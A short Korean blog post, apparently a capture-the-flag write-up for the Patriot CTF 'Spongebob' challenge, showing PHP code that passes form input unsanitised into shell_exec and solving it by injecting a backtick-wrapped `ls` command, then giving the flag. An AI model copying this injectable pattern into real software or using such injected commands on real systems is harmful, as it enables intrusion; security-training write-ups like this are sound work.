본문 바로가기
CTF

[Patriot CTF] Spongebob

by skyepodium 2022. 6. 6.

1. 개요

PHP 시스템 콜 문제

 

2. 풀이

1) 확인

main.php를 열어보면 shell_exec로 시스템 콜을 사용하고 있습니다.

<?php
$text = $_POST['text'];
$command = "python3.9 memetext.py \"$text\"";
$out = shell_exec($command);
echo $out;
?>

2) 시스템 콜

`` 백틱 사이에 리눅스 커맨드를 넣고 전달하면 시스템 콜을 사용할 수 있습니다.

3) exploit

ls를 사용하면 파일 목록을 볼 수 있습니다.

`ls`
fLAG-as98Dc6rnv3P948R7asP98FdYNP.JpG InDeX.HTml mAiN.phP MEMetExT.Py

 

flag를 모두 소문자로 변경합니다.

const a = "fLAG-as98Dc6rnv3P948R7asP98FdYNP.JpG"
console.log(a.toLowerCase())
// flag-as98dc6rnv3p948r7asp98fdynp.jpg

http://chal1.pctf.competitivecyber.club:10009/flag-as98dc6rnv3p948r7asp98fdynp.jpg에 접속합니다.

 

3. flag

PCTF{spongebob_looking_thicc}

'CTF' 카테고리의 다른 글

[NahamCon_CTF_2022] extravagant  (0) 2022.06.06
[NahamCon_CTF_2022] personnel  (0) 2022.06.06
[Patriot CTF] Rock and Roll  (0) 2022.06.06
[Patriot CTF] No Postcode Envy  (0) 2022.06.06
[EZCTF] Wavie Wave  (0) 2022.06.06